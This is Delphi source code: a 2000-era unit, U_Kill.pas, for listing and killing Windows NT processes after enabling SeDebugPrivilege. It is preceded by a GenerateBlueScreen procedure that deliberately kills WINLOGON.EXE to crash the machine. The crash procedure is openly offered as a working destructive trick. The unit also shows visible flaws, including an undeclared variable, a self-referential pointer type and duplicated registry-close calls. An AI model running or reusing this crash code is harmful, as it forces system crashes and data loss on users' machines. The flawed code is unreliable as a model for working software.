procedure GenerateBlueScreen;
var
  Task : TStringList;
  i : integer;
begin
  Task := TStringList.Create;
  try
    EnumProcessWithPid(Task);
    for i := 0 to Task.Count - 1 do
    begin
      TaskName := UpperCase(Task[i]);
      if (TaskName = 'WINLOGON.EXE') then
      begin
        // Generate a nice BlueScreenOfDeath
        Kill_By_Pid(integer(Task.Objects[i]));
        Beep;
        break;
      end;
    end;
  finally
    Task.Free;
  end;
end;



unit U_Kill;
{
** JF 15/02/2000 - U_Kill.pas
** This unit allow you to list and to kill runnign process. (Work only on NT)
** Entry point : EnumProcessWithPid and Kill_By_Pid.
** v1.2 JF correct a bug in Kill_By_Pid
** v1.3 JF change a thing for D5 05/09/2000
**
}
interface

uses
  Classes;

//** Error code **//
const
  KILL_NOERR = 0;
  KILL_NOTSUPPORTED = -1;
  KILL_ERR_OPENPROCESS = -2;
  KILL_ERR_TERMINATEPROCESS = -3;

  ENUM_NOERR = 0;
  ENUM_NOTSUPPORTED = -1;
  ENUM_ERR_OPENPROCESSTOKEN = -2;
  ENUM_ERR_LookupPrivilegeValue = -3;
  ENUM_ERR_AdjustTokenPrivileges = -4;

  GETTASKLIST_ERR_RegOpenKeyEx = -1;
  GETTASKLIST_ERR_RegQueryValueEx = -2;

  function Kill_By_Pid(pid : longint) : integer;
  function EnumProcessWithPid(list : TStrings) : integer;

implementation
uses
  Windows, Registry, SysUtils;

var
  VerInfo : TOSVersionInfo;

const
  SE_DEBUG_NAME = 'SeDebugPrivilege';
  INITIAL_SIZE = 51200;
  EXTEND_SIZE = 25600;
  REGKEY_PERF = 'software\microsoft\windows nt\currentversion\perflib';
  REGSUBKEY_COUNTERS ='Counters';
  PROCESS_COUNTER ='process';
  PROCESSID_COUNTER ='id process';
  UNKNOWN_TASK ='unknown';

type
  ArrayOfChar = array[0..1024] of char;
  pArrayOfChar = ^pArrayOfChar;
type
  TPerfDataBlock = record
  Signature : array[0..3] of WCHAR;
  LittleEndian : DWORD;
  Version : DWORD;
  Revision : DWORD;
  TotalByteLength : DWORD;
  HeaderLength : DWORD;
  NumObjectTypes : DWORD;
  DefaultObject : integer;
  SystemTime : TSystemTime;
  PerfTime : TLargeInteger;
  PerfFreq : TLargeInteger;
  PerfTime100nSec : TLargeInteger;
  SystemNameLength: DWORD;
  SystemNameOffset: DWORD;
  end;

  pTPerfDataBlock = ^TPerfDataBlock;
  TPerfObjectType = record
  TotalByteLength : DWORD;
  DefinitionLength : DWORD;
  HeaderLength : DWORD;
  ObjectNameTitleIndex : DWORD;
  ObjectNameTitle : LPWSTR;
  ObjectHelpTitleIndex : DWORD;
  ObjectHelpTitle : LPWSTR;
  DetailLevel : DWORD;
  NumCounters : DWORD;
  DefaultCounter : integer;
  NumInstances : integer;
  CodePage : DWORD;
  PerfTime : TLargeInteger;
  PerfFreq : TLargeInteger;
  end;

  pTPerfObjectType = ^TPerfObjectType;

  TPerfInstanceDefinition = record
  ByteLength : DWORD;
  ParentObjectTitleIndex : DWORD;
  ParentObjectInstance : DWORD;
  UniqueID : integer;
  NameOffset : DWORD;
  NameLength : DWORD;
  end;

  pTPerfInstanceDefinition = ^TPerfInstanceDefinition;

  TPerfCounterBlock = record
  ByteLength : DWORD;
  end;

  pTPerfCounterBlock = ^TPerfCounterBlock;

  TPerfCounterDefinition = record
  ByteLength : DWORD;
  CounterNameTitleIndex : DWORD;
  CounterNameTitle : LPWSTR;
  CounterHelpTitleIndex : DWORD;
  CounterHelpTitle : LPWSTR;
  DefaultScale : integer;
  DetailLevel : DWORD;
  CounterType : DWORD;
  CounterSize : DWORD;
  CounterOffset : DWORD;
  end;

  pTPerfCounterDefinition = ^TPerfCounterDefinition;

procedure InitKill;
begin
  VerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(VerInfo);
end;

(*
#define MAKELANGID(p, s) ((((WORD )(s)) << 10) | (WORD )(p))
*)
function MAKELANGID(p : DWORD ; s : DWORD) : word;
begin
  result := (s shl 10) or (p);
end;

function Kill_By_Pid(pid : longint) : integer;
var
  hProcess : THANDLE;
  TermSucc : BOOL;
begin
  if (verInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) then
  begin
    hProcess := OpenProcess(PROCESS_ALL_ACCESS, true, pid);
    if (hProcess = 0) then // v 1.2 : was =-1
    begin
      result := KILL_ERR_OPENPROCESS;
    end
    else
    begin
      TermSucc := TerminateProcess(hProcess, 0);
      if (TermSucc = false) then
        result := KILL_ERR_TERMINATEPROCESS
      else
        result := KILL_NOERR;
    end;
  end
  else
    result := KILL_NOTSUPPORTED;
end;

function EnableDebugPrivilegeNT : integer;
var
  hToken : THANDLE;
  DebugValue : TLargeInteger;
  tkp : TTokenPrivileges ;
  ReturnLength : DWORD;
  PreviousState: TTokenPrivileges;
begin
  if (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or
  TOKEN_QUERY, hToken) = false) then
    result := ENUM_ERR_OPENPROCESSTOKEN
  else
  begin
    if (LookupPrivilegeValue(nil, SE_DEBUG_NAME, DebugValue) = false) then
      result := ENUM_ERR_LookupPrivilegeValue
    else
    begin
      ReturnLength := 0;
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Luid := DebugValue;
      tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TTokenPrivileges),PreviousState , ReturnLength);
      if (GetLastError <> ERROR_SUCCESS) then
        result := ENUM_ERR_AdjustTokenPrivileges
      else
        result := ENUM_NOERR;
    end;
  end;
end;

function IsDigit(c : char) : boolean;
begin
  result := (c>='0') and (c<='9');
end;

function min(a,b : integer) : integer;
begin
  if (a < b) then
    result := a
  else
    result := b;
end;

function GetTaskListNT(pTask : TStrings) : integer;
var
  rc : DWORD;
  hKeyNames : HKEY;
  dwType : DWORD;
  dwSize : DWORd;
  buf : PBYTE;
  szSubkey : array[0..1024] of char;
  lid : LANGID;
  p : PCHAR;
  p2 : PCHAR;
  pPerf : pTPerfDataBlock;
  pObj : pTPerfObjectType;
  pInst : pTPerfInstanceDefinition;
  pCounter : pTPerfCounterBlock;
  pCounterDef : pTPerfCounterDefinition;
  i : DWORD;
  dwProcessIdTitle : DWORD;
  dwProcessIdCounter : DWORD;
  szProcessName : array[0..MAX_PATH] of char;
  dwLimit : DWORD;
  dwNumTasks : dword;

  ProcessName : array[0..MAX_PATH] of char;
  dwProcessID : DWORD;
label
  EndOfProc;
begin
  dwNumTasks := 255;
  dwLimit := dwNumTasks - 1;
  StrCopy(ProcessName, '');
  lid := MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL);
  StrFmt(szSubKey, '%s\%.3X', [REGKEY_PERF, lid]);
  rc := RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSubKey, 0, KEY_READ, hKeyNames);
  if (rc <> ERROR_SUCCESS) then
    result := GETTASKLIST_ERR_RegOpenKeyEx
  else
  begin
    result := 0;
    rc := RegQueryValueEx(hKeyNames, REGSUBKEY_COUNTERS, nil, @dwType, nil, @dwSize);
    if (rc <> ERROR_SUCCESS) then
      result := GETTASKLIST_ERR_RegQueryValueEx
    else
    begin
      GetMem(buf, dwSize);
      FillChar(buf^, dwSize, 0);
      RegQueryValueEx(hKeyNames, REGSUBKEY_COUNTERS, nil, @dwType, buf, @dwSize);
      p := PCHAR(buf);
      dwProcessIdTitle := 0;
      while (p^<>#0) do
      begin
        if (p > buf) then
        begin
          p2 := p - 2;
          while(isDigit(p2^)) do
            dec(p2);
        end;
        if (StrIComp(p, PROCESS_COUNTER) = 0) then
        begin
          p2 := p -2;
          while(isDigit(p2^)) do
            dec(p2);
          strCopy(szSubKey, p2+1);
        end
        else
        if (StrIComp(p, PROCESSID_COUNTER) = 0) then
        begin
          p2 := p - 2;
          while(isDigit(p2^)) do
            dec(p2);
          dwProcessIdTitle := StrToIntDef(p2+1, -1);
        end;
        p := p + (Length(p) + 1);
      end;
      FreeMem(buf); buf := nil;
      dwSize := INITIAL_SIZE;
      GetMem(buf, dwSize);
      FillChar(buf^, dwSize, 0);
      pPerf := nil;
      while (true) do
      begin
        rc := RegQueryValueEx(HKEY_PERFORMANCE_DATA, szSubKey, nil, @dwType, buf, @dwSize);
        pPerf := pTPerfDataBlock(buf);
        if ((rc = ERROR_SUCCESS) and (dwSize > 0) and
        (pPerf^.Signature[0] = WCHAR('P')) and
        (pPerf^.Signature[1] = WCHAR('E')) and
        (pPerf^.Signature[2] = WCHAR('R')) and
        (pPerf^.Signature[3] = WCHAR('F'))) then
        begin
          break;
        end;
        if (rc = ERROR_MORE_DATA) then
        begin
          dwSize := dwSize + EXTEND_SIZE;
          FreeMem(buf); buf := nil;
          GetMem(buf, dwSize);
          FillChar(buf^, dwSize, 0);
        end
        else
          goto EndOfProc;
      end;

      pObj := pTPerfObjectType( DWORD(pPerf) + pPerf^.HeaderLength);

      pCounterDef := pTPerfCounterDefinition( DWORD(pObj) + pObj^.HeaderLength);
      dwProcessIdCounter := 0;
      i := 0;
      while (i < pObj^.NumCounters) do
      begin
        if (pCounterDef^.CounterNameTitleIndex = dwProcessIdTitle) then
        begin
          dwProcessIdCounter := pCounterDEf^.CounterOffset;
          break;
        end;
        inc(pCounterDef);
        inc(i);
      end;
      dwNumTasks := min(dwLimit, pObj^.NumInstances);
      pInst := PTPerfInstanceDefinition(DWORD(pObj) + pObj^.DefinitionLength);

      i := 0;
      while ( i < dwNumTasks) do
      begin
        p := PCHAR(DWORD(pInst)+pInst^.NameOffset);
        rc := WideCharToMultiByte(CP_ACP, 0, LPCWSTR(p), -1, szProcessName, SizeOf(szProcessName), nil, nil);
        {** This is changed for working with D3 and D5 05/09/2000 **}
        if (rc = 0) then
          StrCopy(ProcessName, UNKNOWN_TASK)
        else
          StrCopy(ProcessName, szProcessName);
        // Получаем ID процесса
        pCounter := pTPerfCounterBlock( DWORD(pInst) + pInst^.ByteLength);
        dwProcessId := LPDWORD(DWORD(pCounter) + dwProcessIdCounter)^;
        if (dwProcessId = 0) then
          dwProcessId := DWORD(0);
        pTask.AddObject(ProcessName, TObject(dwProcessID));
        pInst := pTPerfInstanceDefinition( DWORD(pCounter) + pCounter^.ByteLength);
        inc(i);
      end;
      result := dwNumTasks;
    end;
  end;
  EndOfProc:
  if (buf <> nil) then
    FreeMem(buf);
  RegCloseKey(hKeyNames);
  RegCloseKey(HKEY_PERFORMANCE_DATA);
  RegCloseKey(hKeyNames);
  RegCloseKey(HKEY_PERFORMANCE_DATA);
end;

function EnumProcessWithPid(list : TStrings) : integer;
begin
  if (verInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) then
  begin
    EnableDebugPrivilegeNT;
    result := GetTaskListNT(list);
  end
  else
    result := ENUM_NOTSUPPORTED;
end;

initialization
  InitKill;

end.